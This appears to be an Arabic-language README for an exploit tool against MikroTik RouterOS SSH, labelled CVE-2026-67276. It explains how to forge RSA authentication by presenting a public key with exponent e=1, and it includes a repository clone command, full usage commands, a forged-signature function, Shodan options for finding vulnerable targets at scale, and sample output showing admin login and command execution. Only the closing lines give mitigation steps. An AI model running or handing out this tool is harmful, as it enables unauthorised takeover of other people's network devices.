التحقق القياسي من RSA:  sig^65537 mod n == المتوقع  (يتطلب مفتاح خاص)
التحقق المستغل:         sig^1 mod n == sig           (لا يتطلب مفتاح خاص!)

sig^1 mod n == sig

# استنساخ المستودع
git clone https://github.com/BlackHatExploitation/exploit-mikrotik-2026.git
cd exploit-mikrotik-2026

# تثبيت التبعيات
pip install paramiko cryptography

# استغلال أساسي - يولّد مفتاحاً تلقائياً ويكتشف الإصدار
python3 full_exploit.py --host 192.168.88.1 --username admin

# تنفيذ أمر بعد المصادقة
python3 full_exploit.py --host 192.168.88.1 --username admin --exec '/system resource print'

# منفذ مخصص
python3 full_exploit.py --host 192.168.88.1 --port 2222 --username admin

# إذا كان لديك ملف المفتاح العام للضحية
python3 full_exploit.py --host 192.168.88.1 --username admin --pubkey victim.pub

# أو توفير المعامل مباشرة
python3 full_exploit.py --host 192.168.88.1 --username admin --modulus-hex "00:ab:cd:..."

# فرض الاستغلال حتى على غير MikroTik أو إصدار غير معروف
python3 full_exploit.py --host 192.168.88.1 --username admin --skip-version-check

--host              عنوان IP/اسم مضيف RouterOS المستهدف (مطلوب)
--port              منفذ SSH (الافتراضي: 22)
--username          اسم مستخدم RouterOS المستهدف (مطلوب)
--pubkey            ملف المفتاح العام RSA (يولّد تلقائياً إذا لم يُقدم)
--modulus-hex       معامل RSA بصيغة hex (بديل عن --pubkey)
--algos             خوارزميات التوقيع (الافتراضي: ssh-rsa,rsa-sha2-256)
--exec              الأمر المراد تنفيذه بعد المصادقة
--exp-enc           ترميز الأس: canonical (1 بايت) أو aligned (3 بايت)
--timeout           مهلة الاتصال (الافتراضي: 15.0 ثانية)
--skip-version-check    تخطي التحقق من إصدار RouterOS
--shodan-dorks      طباعة استعلامات بحث Shodan
--shodan-search     البحث في Shodan API عن الأهداف
--shodan-key        مفتاح Shodan API
--shodan-query      استعلام Shodan مخصص
--shodan-limit      حد نتائج Shodan (الافتراضي: 100)

python3 full_exploit.py --shodan-dorks

# بحث أساسي
python3 full_exploit.py --shodan-search --shodan-key YOUR_API_KEY

# استعلام مخصص
python3 full_exploit.py --shodan-search --shodan-key YOUR_KEY --shodan-query 'MikroTik port:22 country:US'

string    "ssh-rsa"
mpint     e (الأس العام)  <- يقدمه المهاجم كـ e=1
mpint     n (المعامل)     <- المعامل الفعلي للضحية

# "التوقيع" هو ببساطة بيانات المصادقة المشفرة بـ EMSA-PKCS1-v1_5
def forged_signature(data, sig_alg, n):
    k = (n.bit_length() + 7) // 8
    block = emsa_pkcs1_v15(data, sig_alg, k)
    return block  # هذا هو التوقيع الصحيح عندما يكون e=1

[*] CVE-2026-67276 MikroTrick Exploit
[*] الهدف: 192.168.88.1:22

[*] اكتشاف إصدار RouterOS...
[*] لافتة SSH: SSH-2.0-ROSSSH-7.23.3
[*] إصدار RouterOS: 7.23.3
[+] الإصدار متأثر - CVE-2026-67276 ينطبق

[*] توليد زوج مفاتيح RSA بطول 2048 بت...
[+] تم حفظ المفتاح الخاص: /path/to/exploit_key
[+] تم حفظ المفتاح العام:  /path/to/exploit_key.pub
[*] المعامل: 2048 بت | e=1 مزور
[*] ترميز الأس: canonical (01)

[*] محاولة rsa-sha2-256 ...
[+] تمت المصادقة باسم 'admin' عبر rsa-sha2-256
[+] تم تأكيد CVE-2026-67276 - الهدف متأثر
--- مخرجات الأمر ---
                uptime: 14d23h45m12s
               version: 7.23.3 (stable)
            build-time: Sep/01/2026 12:00:00

# التحقق من الإصدار الحالي
/system resource print

# الترقية إلى الإصدار المُصحح
/system package update download
/system reboot

/ip service disable ssh

# حسب عنوان IP
/ip service set ssh address=192.168.88.0/24

# قاعدة جدار الحماية
/ip firewall filter add chain=input dst-port=22 protocol=tcp \
    src-address=!192.168.88.0/24 action=drop

# التحقق من المستخدمين المشبوهين
/user print

# التحقق من مستخدم "ops" (مؤشر معروف للمهاجمين)
/user print where name=ops

# التحقق من حالة وضع الجهاز المعلّم
/system/device-mode/print

# التحقق من السجلات
/log print where topics~"ssh"